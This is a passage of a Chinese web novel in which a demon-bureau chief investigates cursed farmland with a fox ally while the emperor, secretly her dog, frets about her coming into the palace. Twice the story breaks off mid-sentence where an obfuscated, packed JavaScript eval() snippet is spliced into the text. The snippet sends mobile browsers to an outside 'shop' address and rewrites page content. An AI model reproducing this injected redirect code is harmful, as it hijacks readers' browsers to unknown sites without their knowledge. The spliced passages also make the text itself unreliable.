奚萦当然知道富贵儿暂时没有生命危险,但知道归知道,气归气,尤其这话是从罪魁祸首嘴里说出来的,那就更气人了,她硬是忍着眼前一阵阵发黑上前将这丑狐狸踹了好几脚,末了没好气道:“还不赶紧派人去找!富贵儿要是掉了一根毛我定然要将你做成狐裘卖了!” 封峻自知理亏,也不敢跟奚萦犟嘴,答应一声后就要趁机溜走,结果前腿刚抬起来就被奚萦拎着后颈皮又给抓了回去。 “往哪儿溜呢?安排别人去找,你先带我去田庄看看。” 封峻没办法,只能传信给寒酥,让她调集人手,务必将雍都的狗妖尽数寻来,尤其注意脸黑嘴硬的臭屁狗。 寒酥真真是个实心眼的小孩,将她小舅舅的吩咐执行得一丝不苟,别说狗妖了,就连吃奶的小狗她都没放过,一股脑儿全给抓回无损堂,一时间雍都狗狗自危,狐族与狗族就此结下世仇,三天一小吵五天一大闹,这些都是后话了。 许家的田庄被封峻以迷踪阵隐匿了痕迹,远远看去方圆数十里地只剩三两个破烂草棚子,真正的田庄入口却是藏在水沟旁一棵歪脖子桑树后面。 跟着封峻走进田庄后,奚萦忍不住吐槽:“直接把这么大个庄子凭空弄没了,这叫什么隐藏?就算别人不知道这里原本有处偌大的田庄,许家人还能不知道吗?你这纯粹就是此地无银三百两。” 封峻已经变回人形,大红色锦袍后面绣着一整片金灿灿的芍药,随着他做作的步伐摇曳不止,晃得奚萦眼睛疼,不禁又升起几分揍狐狸的冲动,封峻对此一无所觉,不甚在意道:“许家人知道又怎样,他们勾结邪佞图谋不轨,已经被皇帝抄了家了,哦,家主也死了,叫什么来着,嗐我忘了,那位据说还是皇帝的老丈人呢,就这么死了!如今他们自顾不暇,哪里还敢沾这庄子上的事。” 奚萦诧异极了:“许家被抄家了?为何?那许家主又是怎么死的?” 封峻不知从哪儿摸出把鎏金坠玉的折扇,刷地一下展开,一边摇一边悠然道:“这我哪儿知道呢,反正就是死了,或许被灭口,或许是自尽,也或许是遭了天谴吧,这事儿你该问皇帝去,他下令抄家抓人的,人也是抓进了宫里慎刑司,这事儿闹得可大了,宫门口天天有大臣哭呢。哎,你不是进宫当娘娘去了吗,吹吹枕头风呗,嗯?” 他自诩风流,一只手背在身后,另一只手用折扇挡住下半张脸,露出一双怎么努力也睁不开的细长眼睛,十分猥琐地冲奚萦挑了挑眉。 奚萦顿时觉得眼睛脏了,一把夺过折扇劈头盖脸往这丑东西脑袋上敲了几下:“你一会儿不犯贱就皮痒是吧?” 封峻被打得抱头鼠窜,大声求饶道:“哎哟我错了,我进宫去当娘娘,我去帮你吹枕头风行了吧?快别打了,脸打肿了多难看啊!” 奚萦也不是真要打死这狐狸,出了口恶气后便顺手收起折扇继续往田庄里走。 封峻见这人又把自己的宝贝顺走了,顿时气不打一处来:“喂,你打我就算了,怎么又拿我的东西?那扇坠儿可是朏玉雕的,我就只有这么一枚啊!” 奚萦哼道:“你把我眼睛丑疼了,这是医药费。” 不管封峻如何骂骂咧咧又哭哭啼啼,总之进了奚萦口袋的宝贝他是休想拿回去的,两人这般吵闹着,很快到了田庄内院。 与奚萦当日所见的破败不同,这处院子收拾得非常整洁,只有东厢房被厚重的枝条藤蔓包裹起来,成了一间“树屋”。 “这是什么阵法?” 说到自己的专长,封峻顿时又抖擞起来,得意道:“我最近才研究出来的阵法,万象森罗阵,引天然水脉为基,栾木、寻木、郁沛为眼,取生生不息之意,克一切死气邪物,再有吞海鱼为阵灵,完美!不过寻木和郁沛不好找,如今只有一棵栾木撑着,支撑不了太久。” 奚萦对阵法一道只懂个皮毛,闻言只是点点头便不再多问,又见阵盘中一条胖头鱼缓缓摆着尾巴,正是元宝的投影,她放心下来,暗道这不着调的狐狸总算还是干了点正经事,但仍在气头上,半句好听话都不想说。 没等到夸奖的狐狸不乐意了,大声道:“你知道栾木种子有多珍贵吗,我当初可是花了十万灵石才买到这么一颗,就一颗啊!寻木和郁沛更是早已绝迹,找都没地儿找去!还有啊,那天我来的时候这院子里人山人海的,你知道我为了将他们毫发无伤地弄走费了多大力气吗?还有——” 奚萦打断他滔滔不绝的邀功:“等等,你说那天有很多人在这里,什么人?你把人弄哪儿去了?” “凡人啊,还能是什么人,乌泱泱一大堆,吵死了,我就把他们都丢外面田里去了,把院子封了然后才动手拆那烂柯阵。” 奚萦一阵无语,这狐狸的心眼儿全用来捣鼓阵法了,做事实在糙得不能再糙,也不知道这些年怎么把无损堂经营下来的,唉。 太阳穴突突地跳,头疼一阵接一阵地来,奚萦实在没精力跟蠢狐狸计较这些细枝末节,快速将女娲泥的事以及地下的遭遇讲了一遍,末了叹道:“那些堆积成山的残尸碎魂最后流入厄渊,变成污水,变成鬼火,养得够肥了就被人抓走,边角料弄一些出来造傀儡、小妖、道士以供驱使,就像农人豢养家禽家畜那般,一茬又一茬……” 封峻虽然知道那奇怪的蓝火凶险至极,却不知道背后竟有这般残酷的真相,顿时又惊又怒:“疯了吧!这是把妖族人族都当畜生宰杀的意思?他以为自己是谁,阎王爷吗?” 奚萦觉得这个想法不错:“说不定呢,那人实力深不可测,光是一只手就给我无法匹敌的感觉,我还从未遇见过如此厉害的人或是妖……” 封峻脑瓜子嗡嗡的,半晌才挤出一句话来:“竟然比你还厉害吗……可是他都这么厉害了,还偷偷摸摸抓妖族,安排什么傀儡入宫干嘛?直接把你和皇帝都赶下来,自己做人妖两族共主不好吗?” 这话倒是让奚萦重新振作起来,她笑道:“有道理,看来这家伙也不过是阴沟里的阎王爷,只敢躲在背后搞些恶心的手段罢了。” 封峻还是无法理解:“若他没那么厉害的话,这么大手笔搞出女娲泥和厄渊又是为了什么?” 奚萦看着生机勃勃的万象森罗阵,也沉默了许久:“还能为了什么,当真正的阎王爷啊,掌管生死轮回,这跟得到成仙也差不多了吧,值得一搏啊……” 封峻恨恨道:“能干出这种事的多半是皇帝老儿,这次你刚查到许家田庄皇帝就直接下令抄了许家,到底是大义灭亲还是杀人灭口可不好说呢,要不我们这就进宫去抓了皇帝老儿吧!” 奚萦白了他一眼:“皇帝可比你小多了,顶多算是皇帝‘小儿’。” “问题不在于老还是小啊!他怎么知道许家出事的,又为何这么快就对许家下手,你不觉得很有问题吗?连我都不知道你究竟查到什么了!” 奚萦当然知道这件事有蹊跷,只是她总觉得没这么简单,于是摆摆手:“皇帝那边我会亲自去查,你不用担心。你帮我找一些养魂的东西,许嫣的残魂受损严重,需得尽快蕴养,若她能清醒的话,或许可以提供重要线索;再查一下万宝楼的巫心柏,她跟皇家关系密切,还知道女娲泥的事,身份应该不简单;还有之前让你查的天道宗也上心一点,另外再安排人去宣王府接应发财,宣王府中有女娲泥制造的傀儡,且与宣王关系匪浅,你们行事小心一些。” 封峻张了张嘴没应声,奚萦眉头皱起:“别管什么接任司主的考验了,这不是我一个人能应对的事,若不尽快揪出幕后凶手的话,你就等着自家狐子狐孙被人抓去剁成肉泥丢进厄渊吧。” 封峻顿时没话说了,一脸沉重地点头应下,陪着奚萦一起离开田庄。 “那你呢,是回皇宫还是回无损堂?” 奚萦揉着太阳穴叹气:“先回无损堂,找到富贵儿了再去宫里。” * 奚萦揍狐狸的时候,景辰刚醒来不久,正在蓬莱宫书房听张谦禀报许家的事。 “……经仵作查验,许绍明乃是死于心疾发作,许夫人韦氏及许家长子许聪皆于三年前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232573|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 病逝,韦家对韦氏母子之死存疑,强令两人和离,之后将韦氏接回韦家安葬。许绍明无兄弟,唯有一姐许绍华三十年前远嫁淮宁,六年前许峥过世时许绍华曾回京奔丧,之后再未返京,许氏宗族在许峥过世后尽数迁往东平老家,这些年与许绍明几乎没有任何往来……许家宅邸财物尚未清点完毕,目前暂时没有发现可疑物品。” 景辰听完沉默了片刻,哑声道:“传朕旨意,许绍明勾结妖邪祸乱宫闱,证据确凿,朕感念已故许尚书功绩,赦免许氏族人,罢许绍明兵部主事之职,抄没许宅,仆役发卖,此案涉及宫闱,由慎刑司审结,惠郡王督办,凡有为许家求情者,一律同罪!” 他顿了顿,似是忍过一阵头疼,继续吩咐道:“这几日闹得凶的那几个,你派人暗中盯着,事无巨细一一回报。” 张谦愣了愣,欲言又止,但景辰脸色难看得吓人,他也不敢多说什么,恭敬应下,正准备告退时,忽听景辰轻叹一声,缓缓道:“许美人……除其美人封号,贬为庶人,送回韦氏,随其母安葬。” 张谦又是一愣,还没来得及回话,就听景辰叹息似的补充道:“你安排可靠的人盯着,别让韦家怠慢了她。” 张谦领命退下,金内侍很快进来,见景辰歪靠在椅背上一副没精打采的模样,轻声问道:“陛下,药已经熬好了,您是现在喝,还是再歇一歇?” 景辰有气无力道:“端过来。” 金内侍赶紧招呼小太监将熬好的药端来,景辰也不用他伺候,自己端过药碗一饮而尽,然后继续靠在椅子上发呆。 那天他被奚萦扔出去后,很快就看到一个穿红衣的怪人破门而入,那古怪的长相、浑身上下散发骚气的装扮,他瞬间就想到了奚萦口中的“封狐狸”,情急之下也没时间寒暄,他一把将骚狐狸抓到空间通道旁,焦急道:“奚萦还在下面,空间快要碎了,应该有很厉害的东西在追她,你快拉她上来。” 景辰其实不太清楚到底发生了什么,只能将情况连蒙带猜简单交代一下,结果那狐狸竟半点也不着急的样子,先将景辰上下打量了一番,嫌弃道:“这是哪儿来的丑东西啊!啧啧啧,一边儿去,别碍事。” 莫名其妙被个丑狐狸骂了,景辰又岂能忍下这口气,可当时情况紧急哪有时间计较这些,他只能暂且忍耐,退后一步让开位置,等着这丑狐狸出手。 结果倒好,丑狐狸绕着空间通道转了两圈,嘴里不知道叨咕些什么,就是不出手。 景辰哪里还忍得了,直接上前一把推开狐狸就要往空间通道里跳,结果被他拉住,两人当即争执起来。 争了几句忽然听到奚萦的声音传来,两人只好暂时放下恩怨去帮忙,后来出了变故,奚萦重伤昏迷,地底冒出蓝火,狐狸再不敢怠慢,将奚萦和景辰往外面一丢便忙着布阵。 景辰看不懂什么阵法,实在帮不上忙,准备叫张谦安排人封锁田庄,送他和奚萦回宫里治伤,然而他拖着残躯找遍了整个庄子都没找到人,无奈之下,他只能找了间干净的空房将奚萦安顿好,一起等那狐狸。 还好这狐狸看上去不着调,倒是有几分真本事,田庄地下的暴动约莫两个时辰后平息,狐狸累得满头大汗,神情凝重得仿佛天都快塌了,脸上的粉都被冲得乌七八糟的,更是丑得没眼看,他找到两人后就要带走奚萦,完全不搭理一旁的景辰。 景辰怎会让他就这么把人带走,两人不免又是一番争执。 狐狸说:“丑东西你谁啊,少管闲事赶紧起开。” 景辰怒:“放肆!你要把奚萦带哪儿去?还有庄子上其他人呢?是不是你把他们弄不见了?” 狐狸更怒:“就你话多是吧,那你跟那些人一块儿待着去吧!” 然后咻地一下,景辰原地起飞,飞进了田庄外的稻田里,跟整整齐齐扎在田里的张谦等人汇合了。 狐狸带着奚萦潇洒飞走,景辰气得当场昏迷。 再醒来时,景辰已经躺在蓬莱宫的龙床上了。 景辰满脑子疑惑,将奚萦的名字唤了一遍又一遍:“奚萦奚萦奚萦,你在哪儿啊?伤好些了吗?麻烦事都解决了吗?有没有找我呢?” 然而始终没有回应。 这女人,这女人莫非有了狐狸就不要狗了吗?! 36. 勾引皇帝这件事已经提上日程了 景辰有心想找奚萦,然而他除了知道奚萦这个名字,知道她是什么妖务司的司主之外,别的信息一概不知,之前他问过金内侍、张谦和王朗,他们也都不曾听说过妖务司,若她不主动找他的话,他竟完全不知道该怎么联系她。 奚萦这个人,大多数时候出现在夜里,以各种不同的模样,带着一堆怪力乱神之事,就像一场奇异的幻梦,天一亮就消失得无影无踪。 景辰望着窗外有些暗沉的天色,心情也跟着一点点沉闷下去。 许久之后,他吩咐金内侍:“让惠郡王来见朕。” 陪在一旁的金内侍原本都快打瞌睡了,忽然听到景辰要见惠郡王,怔愣了一下才应声,心里却是嘀咕起来,这位头疾一发作就不爱见人,尤其不爱见惠郡王这种聒噪的家伙,今天是怎么回事? 嘀咕归嘀咕,金内侍还没大胆到去问景辰要见惠郡王干啥,老老实实出去找了传旨小太监去通传,约莫半个时辰后,惠郡王气喘吁吁赶到了蓬莱宫。 景辰正闭目养神,忽然听到一阵尽量压抑着颤抖的细碎呼唤声由远及近:“陛下——陛下哎——” 头疼顿时加剧了几分,景辰不禁有些后悔将这话篓子给叫来了。 但来都来了,他也确实有事要问这老侄子,没奈何,只得强打起精神,对抹着眼泪一路哭丧般奔进来的惠郡王道:“行了行了,再瞎叫唤就给朕从哪儿来滚哪儿去。” 惠郡王立马闭了嘴,托着圆肚皮就要行礼,还趁机偷瞧了坐在上首的景辰好几眼,见他脸色苍□□神萎靡,老头顿时红了眼眶。 景辰见不得老头这黏糊样,不耐烦地挥挥手免了他的礼,然后指了指下首的椅子示意他坐,开门见山道:“你平日里最喜欢捣鼓些稀奇古怪的玩意儿,朕问你,可曾听说过妖务司?” 惠郡王落了座,本想再关心几句皇叔的龙体,然后趁机打听一下许家的事,结果忽然被问了个完全不在预料之中的问题,他满头雾水道:“什么妖什么司?” “妖务司,像是,像是专门管妖族事务的一个,呃,一个衙门。” 惠郡王愣愣道:“没听说过咱大雍有这个衙门啊……” 景辰白他一眼,大雍有什么衙门,他身为皇帝能不知道?还用得着问他? 惠郡王也反应过来了,将本就有些稀疏的后脑勺挠了好几下,为难道:“老臣确实不曾听说过什么妖务司呢。” 景辰有些失望,想了想又继续道:“那你可认识什么得道高人?” 说到这个惠郡王可就来劲儿了,眼睛里的精光差点将景辰闪瞎,他连忙补充道:“朕指的不是什么送子娘娘那种高人,是那种会术法的,能飞天遁地的修道之人,或是妖族也行。” 惠郡王失望地扁了扁嘴:“老臣哪里认识这种高人啊……陛下啊,那些都是江湖上骗人的把戏,您可别信呀!曾祖爷爷在世时就曾告诫咱们老景家后世子孙,什么修仙求道,那是祸国殃民的歪道,不可轻信哪!先帝也不喜这等怪力乱神之事——” 眼看着这老家伙又要搬出景家列祖列宗来说事,景辰赶紧打断他:“行了行了,朕就是问问,何时说过要修仙求道了?你若是不知道就赶紧滚,别吵朕。” 惠郡王讪笑:“陛下息怒,老臣就是担心陛下龙体安危,这才啰嗦了几句。” 景辰不耐烦跟他掰扯,挥挥手示意他可以告退了,然而惠郡王难得见皇叔一面,哪里舍得就这么走了,硬是磨蹭着不挪屁股,薅了自己好几根头发,这才忽然想起点什么,做贼似的小声道:“陛下,陛下您别急着赶老臣走啊,有一件事,前朝的事,老臣也是小时候从曾祖爷爷那儿听来的,您要不提这茬儿啊老臣早忘了——” “别废话了,有什么事赶紧说。” “是是是,说起来还是老臣八岁左右的事,那时候先帝也才五六岁,我们俩玩捉迷藏,躲在曾祖爷爷的大书桌底下睡着了,迷迷糊糊中我被一声怒吼吓醒了,就听到曾祖爷爷说‘仙道都断了还妄想修哪门子的道,大雍人注定修不了道’,然后有另外一个人,具体说了什么老臣就没太听清楚了,记得这一句也是因为后来老臣问过曾祖爷爷怎么才能上天做神仙,曾祖爷爷那时笑老臣傻,他说如今的人注定成不了神仙,上天的路已经断了。所以陛下啊,您可别信那些什么得到高人神仙术法之类的,都是骗人的。” 景辰怔住,想说自己就会修道,还会飞呢,奚萦更是上天入地捉鬼擒妖都来得,怎么就修不了道了? 但话到嘴边又转了个方向:“那妖呢?你见过妖吗?和妖一样会术法,会飞会穿墙那种人,也没有吗?” 惠郡王头摇得像拨浪鼓:“没有没有,世上哪里有妖,绝没有的事!” 景辰一脸怀疑地看着惠郡王,很想现在就带这老家伙去化仙池的妖市看看,那满大街跑的奇形怪状的东西不是妖还能是人不成? 惠郡王在景辰灼人的目光下越来越心虚,忍不住低头避开,不敢跟他对视。 景辰这下看出来了,老家伙有事瞒着自己呢。 他当即脸一沉,威胁道:“呵,你可真是出息了,敢当面欺君了是吧?漠北马场还差个监牧,要不你这就启程上任吧。” 惠郡王眼泪差点给吓出来,当即求饶道:“陛下,陛下您就饶了老臣吧!老臣,老臣真不知道啊!” “别废话,你脑门儿上写着‘欺君’两个字呢,少糊弄朕。” “陛下,真不是老臣故意要瞒着您啊,实在是,这实在是,唉,这是先帝的旨意啊,也是为了您好,您就别打听什么妖啊仙这些事啦!” 景辰讶然:“父皇的意思?他不让你们在朕面前说妖的事?为何?” 惠郡王支支吾吾不肯说实话,景辰眼神一厉,他只好哭丧着脸小声道:“是因为陛下三岁时被妖怪掳走差点丢了性命,人也吓坏了,先帝因此下旨不许任何人在您面前提及妖邪之事,王内侍在先帝跟前侍奉多年,就因为说漏了嘴直接被杖毙,之后再没有人敢乱嚼舌根了。” 景辰闻言愣住,这些事他完全不记得了。 他记事不算早,如今能想起来最早的记忆已经是四五岁时了,他的生活其实很简单甚至可以说是枯燥,白日里跟着太傅念书,晚膳去蓬莱宫陪父皇用膳,一天又一天,整个童年少年时期都是这样过来的。 作为皇帝,先帝隆庆帝算得上是明君英主,大雍在他治下三十年,国富民安吏治清明。 而作为父亲,隆庆帝中年得子,对景辰这唯一的儿子可以说是爱若珍宝,就算再忙也一定要抽时间每日陪儿子用晚膳,无微不至地关心他的学业和日常起居,每次他头疾发作,隆庆帝更是丢下政务亲自照顾,他七岁被封为太子,之后隆庆帝无论上朝还是私下见大臣都带着他,不遗余力地帮他铺平继位之路,这也是为何景辰病重朝局却依然安稳的重要原因。 所以听到惠郡王的回答,景辰恍然大悟之后便是无尽的伤怀悲痛,父皇就算人已经不在了,留下的旨意却还在保护着他,而他作为儿子,却连他的死因都还没查清楚,他怎么好意思任性赴死的?将来又有什么脸面去见父皇? 景辰脸色晦暗许久不说话,惠郡王愈发坐立难安,书房中的气氛比外面低沉的天空还要压抑。 终于,在惠郡王就要逃跑的时候,景辰开口道:“你还知道些什么?关于我当年被妖怪掳走的事。” 惠郡王指天发誓:“陛下明鉴啊,老臣真的只知道这些了,先帝当年下令封锁消息,知情的太监宫女侍卫几乎都杀了,老臣就算想打听详情也没处打听去啊!” 景辰看着惠郡王不说话,惠郡王抓耳挠腮半晌,小心翼翼提出个建议:“要不,要不您派人去九曜山问问太后娘娘?” 景辰瞪了他一眼,显然不赞同这个提议,他头疼得厉害,也没精力跟这老家伙斗智斗勇了,于是摆摆手示意他退下。 惠郡王松了口气,连忙行礼告退,连许家的事都忘了打听,一门心思赶紧逃离蓬莱宫,省的被景辰抓着打听妖怪的事,同时悄悄在心里跟先帝告罪,求他老人家晚上千万别入梦来砍他脑袋,他都是被他儿子给逼的呀。 惠郡王离开后,景辰无力地靠在椅背上,望着窗外被风吹得东摇西晃的银杏叶子出神。 他生来便在大雍王朝的权力之巅,如今更是坐拥天下,然而天下是什么模样的呢?他站得虽高,真正看见的却只有皇宫这方寸之地罢了,从小到大听进耳中挂于嘴边的四海臣民、江山社稷其实也不过是奏折上几笔墨痕,臣下口中的夸夸之词,甚至就连这些也都是被粉饰过的假象。 仙道断绝,大雍人无法修行,妖与鬼却都是真实的存在,还有那藏着许多秘密的厄渊,这些东西父皇竟一点也不曾向他透露过,若不是奚萦忽然出现,带他走进另一个世界,他是不是就会像个傻子一样困在这皇宫里,稀里糊涂过完一生,连自己治理的天下究竟是何模样都不曾看清? 究竟是他太没用,不值得父皇托付江山,还是这背后另有隐情? 脑子里乱糟糟的理不出个头绪,越想头越痛,景辰只得暂时放弃思考,吩咐金内侍传王朗来见,问了宣王在姚州的进展以及宣王府的情况,得知一切如常后,他并未多说什么便让王朗退下了。 至于宣王侧妃岁洵可能是傀儡的事,景辰觉得还是应该跟奚萦一起调查,他亲身经历过一回才知道,没有修为的普通兵士暗卫如何对付得了妖邪鬼物,先前让侍卫们跟他抓奚萦,让张谦去田庄上接应都是他大意了,幸好没出事,否则虚耗人命的罪过是跑不了了。 谨慎起见,这次他甚至都没让人去打听妖务司和奚萦,不过如此一来,就不知道猴年马月才能联系上奚萦了。 唉,这女人可真是,之前不分时间场合瞎召唤他,如今想找她了又玩失踪,实在可恶! 这样的怨念整整持续了七天,景辰的头疾都好了大半,奚萦仍旧半点音讯也无,若不是那宝贝裤衩和储物袋还在他床头暗格中好好放着,他都忍不住要怀疑这女人根本没存在过。 景辰今晚睡前仍旧先打开暗格看了一眼,确认东西还在便准备睡觉了,入睡前他暗暗发誓,要是奚萦再不跟他联系的话,他就,他就懒得搭理她了。 意识混沌的时候,似乎有熟悉的声音在耳边响起,那声音很小,很遥远,景辰努力听了许久才勉强听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232574|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清,是有人在叫他,富贵儿。 不知道过了多久,景辰艰难地睁开眼,在一阵接一阵的眩晕中,对上了一双熟悉的明丽眼眸,然后头上一重,脑袋被人揉了好几下,别说,竟然还有点舒服是怎么回事? “哎呀,该不会真成傻狗了吧?” 呵,消失这么久,一见面就没好话,真当狗子没脾气是吧?景辰十分不满地偏头躲开那只作乱的手,拖着四条狗腿,有些不熟练地走到一片看上去很柔软的毛毯上趴下,开始四处打量。 这地方看上去应该是卧室,比蓬莱宫小多了,布置得却很温馨精致,一看就是女子闺房,奚萦更是难得用了自己的脸,甚至破天荒穿了一身藕粉色襦裙,发髻松松挽着,头上只有一根白玉发簪,这身妆扮让她整个人都软和下来,乍一看甚至有点温柔意味,着实叫景辰开了眼了。 或许是狗脸上的惊讶表情实在好笑,奚萦一时笑得停不下来,强行将景辰从毛毯上捞起来狠狠揉了一顿,揉得他汪汪大叫才松了手,一人一狗歪靠在榻上大眼瞪小眼。 “你之前不是已经会说话了吗?怎么又开始狗言狗语了?” 景辰也很无奈,用狗嘴说人话这事他实在没头绪啊,之前能跟她说话那不是用的自己的身体吗,何况他已经学会用神识交流了,不能直接说话有什么关系? 奚萦也无奈:“我识海受伤了,你的本体也受伤了,能将你召来已经耗损不小,我们暂时不能用神识沟通了。” 好吧,景辰有些丧气地汪汪了两声,努力用眼神表达自己的意思:“你怎么样了?伤好些了吗?事情调查得如何了?” 奚萦胡乱回答:“许嫣的魂魄受损严重,还得再养一段时间看能不能清醒过来,许聪嘛,只剩一点残渣,养也养不好了,许家的事只能等许嫣清醒了再问。” 景辰点点头:“那天在地底追杀我们的究竟是什么东西?你在湖底看到什么了?” 奚萦道:“许家田庄已经暂时封印,这次我们打草惊蛇了,幕后之人恐怕会蛰伏一段时间,这段时间我会进宫去调查皇帝。对了,我从封狐狸那儿淘了不少炼器的宝贝,还让他出灵石请了青凤一族最好的铸剑师来帮你修补本体,这段时间你就回剑里好好养伤,别出来瞎晃荡了。” 后面关于铸剑修补什么的景辰根本没听进去,他注意力全被“进宫调查皇帝”这句吸引了过去。 调查他干嘛?总不至于是发现了他的双重身份吧?还说他无意中暴露了什么疑点? 他觉得自己藏得挺好的呀! 呃,好像也不是,至少派张谦去田庄这件事做得就不太隐蔽,封狐狸不仅见到了张谦这些人,还将人给扔进稻田里插着了,虽然事后张谦说并未向那奇怪的红衣人透露身份,但那么多人忽然出现在田庄上这件事本身就挺可疑的。 还有许家的事,许绍明虽然只是个六品主事,但已故的许尚书名声极大,他强行定了许家的罪,这件事在朝堂上引起了不小的争议,奚萦是知道许家内情的,很容易就会将两件事联系起来,这一联系就恐怕就会怀疑到他头上,所以现在要调查他了? 景辰简直不知道该说什么好,其实只要他亮明身份,告诉奚萦你家狗子就是皇帝,做这些都是在帮你,事情自然迎刃而解。 但大雍皇帝给人当狗这件事泄露出去的话,景辰别说是做皇帝了,他甚至都不想做人了啊! 属于皇帝的尊严让景辰紧紧闭上了嘴巴。 奚萦见狗子坐立不安的模样,还以为他是担心自己,于是解释道:“放心吧,皇宫那地方我都摸熟了,总不会比那田庄底下更危险的。何况我还有身份上的便利,那小皇帝不过毛头小子一个,到时候司主大人勾勾手指,保准迷得他神魂颠倒,底裤都得给我交代出来哈哈哈哈……” 景辰嘴角抽搐,看着眼前笑得花枝乱颤的女人,他有种被雷劈了的错觉。 什么迷得神魂颠倒,她这是,这是打算勾引自己,是这个意思吧? 还有什么身份便利,她打算用什么身份勾引自己,后宫妃嫔还是宫女? 景辰想说要不您歇歇,朕这就老实交代,但看看自己的狗爪子又立马打消这个念头。 不行不行,若是让她知道皇帝就是自家小狗,那她岂不是能轻松拿捏自己甚至拿捏整个大雍顺带再嘲笑他一辈子? 一想到这种可能性景辰浑身的毛都要竖起来了,太可怕,绝对不能让这种事情发生! 一番天人交战之后,景辰想出了个绝妙的主意,狗是狗,皇帝是皇帝,两个身份可以同时存在啊,只要他不说,谁能知道狗和皇帝都是他一个人呢! 至于奚萦入宫查他这件事,他会尽量配合,争取在明面上跟她达成合作。 打定主意后,他追问关键信息:“你打算以什么身份入宫调查皇帝?” 奚萦依旧乱回:“好了,确认你平安无事就行,好好休息一段时间吧小富贵儿,别太想你家司主哦。” 她伸指点在小狗额上,景辰只觉眼前渐渐模糊,关键信息还没问出来呢,他急得大叫:“等等,奚萦你说清楚啊,你究竟是以什么身份入宫,喂,奚萦,奚——” 37. 朕已经打扮好了,赶紧来勾引吧 景辰醒来时天还未亮,他却一点睡意也没有了,满脑子全是奚萦要进宫来了的事,翻来覆去地想她究竟会以什么身份接近自己。 嫔妃吗?如今后宫里只剩沈嫔和柳才人,沈嫔他见过,弱不禁风又矫揉造作一姑娘,从头到脚跟奚萦没一处相似的地方,不可能是她吧?至于柳才人,他还没见过,若他是奚萦的话,或许会考虑假扮这种没跟自己接触过的妃子,这样的演起来比较容易一点…… 可他不待见后宫妃嫔这事,奚萦只要稍一打听就知道,她既然将皇宫都摸熟了,或许不会选这种没机会面圣的低位妃嫔吧…… 那假扮成宫女吗?蓬莱宫可没有宫女,她若是要假扮宫女接近自己的话,最好的选择是在他上朝下朝的路上偶遇,其次是找机会混进蓬莱宫…… 那要不要上朝下朝路上走慢点,再把蓬莱宫的门禁放松一点,给她个机会呢? 这事也不能做得太刻意了,否则以奚萦的聪慧,更要怀疑他有问题。 所以怎么才能自然而然地给她机会接近自己,打消她的疑虑取得她的信任,最后顺利达成合作,同时还不能怀疑他和富贵儿之间有联系呢? 演戏骗人且还要一人分饰两角这种事景辰从未经历过,真是越想越刺激,越想越兴奋,直到寅时三刻,金内侍来伺候他起床上朝时,陡然看到龙床上盘腿坐着一个披头散发表情诡异的人,差点吓得尖叫起来。 景辰也吓了一跳,没想到一晃眼就到上朝的时间了,他严肃了表情,清了清嗓子道:“别傻站着了,伺候朕梳洗吧。” 金内侍暗道这人该不会中邪了吧,面上却假装无事地忙前忙后。 他先领着小太监端水捧巾侍奉景辰净面漱口,又将早已准备好的朝服冠冕一一替他穿戴整齐,正低头整理腰间佩玉时,忽听景辰道:“镜子呢?蓬莱宫连镜子都没一面吗?” 金内侍以为自己听错了:“镜子?” 景辰有些不耐:“对啊,拿面镜子来,朕瞧瞧可有什么不妥之处。” 被顶头上司质疑工作成果,金内侍很不服气,但谁让他是皇帝呢,皇帝要面镜子,他一个内侍官难道还敢说,大男人照什么镜子,少婆婆妈妈的! 吩咐小太监取来铜镜,景辰上上下下仔仔细细看了一遍后,扯着衣袖不满道:“朕记得朝服有明黄、朱红、靛蓝、月白四种颜色,怎么最近天天都是这套明黄的?换成月白色那套吧。” 金内侍呆了:“陛、陛下,您早朝不都是穿这套明黄朝服的吗?” 景辰皱眉:“朕喜欢穿哪套就穿哪套,少废话,赶紧换。” 金内侍只好催着小太监去取新的朝服,心里直骂和尚要梳子——屁事多! 一通折腾后,景辰看着镜中一身月白挺拔俊美的男人,总算稍微满意了些,十分矜持地点了点下巴。 金内侍也跟着松了口气,正打算传膳时,忽然又听景辰道:“这个金冠,唔,朕记得有一顶白玉冠,换成白玉的吧。” 金内侍差点翻白眼了,记得记得,就你记性好是吧,哪个皇帝没事惦记自己有什么衣裳发冠了? 但内侍官的职业素养让他保持着恭谨的微笑:“是,奴才这就去取白玉冠。” 又是好一通忙碌,金内侍终于将龟毛皇帝打扮好时,已经没时间用早膳了。 金内侍不饿,他满肚子的牢骚和疑惑,一路都在猜测这位陛下今日中什么邪了。 景辰也不饿,他满肚子的纠结忐忑,夹杂了些说不清道不明的兴奋以及隐隐约约的期待,总觉得一路上都有人在偷偷打量自己。 想到这里,他下意识挺直了腰背,又觉得龙撵的帘子遮挡视线,故作不经意地伸手掀开,然后跟走在旁边的金内侍视线撞上。 啧,原来是这双绿豆眼在偷看自己,晦气! 景辰赶紧放下帘子收敛心神,强迫自己去想朝中大事。 其实近日朝中没什么大事,前段时间罢免了户部、工部、吏部一帮尸位素餐的官吏,又将沅江几县地方官员该免的免该抓的抓,三司会审虽然暂时还没拿出最终的结果来,但沿岸的赈灾事宜已经在有条不紊地推进中,朝中这帮啰嗦的老家伙真干起事来,一个个也都还有几分本事。 今日早朝的确没什么新鲜事,不过称病告假十日的定国公忽然上朝了,倒叫景辰多看了几眼,不咸不淡地关心了两句。 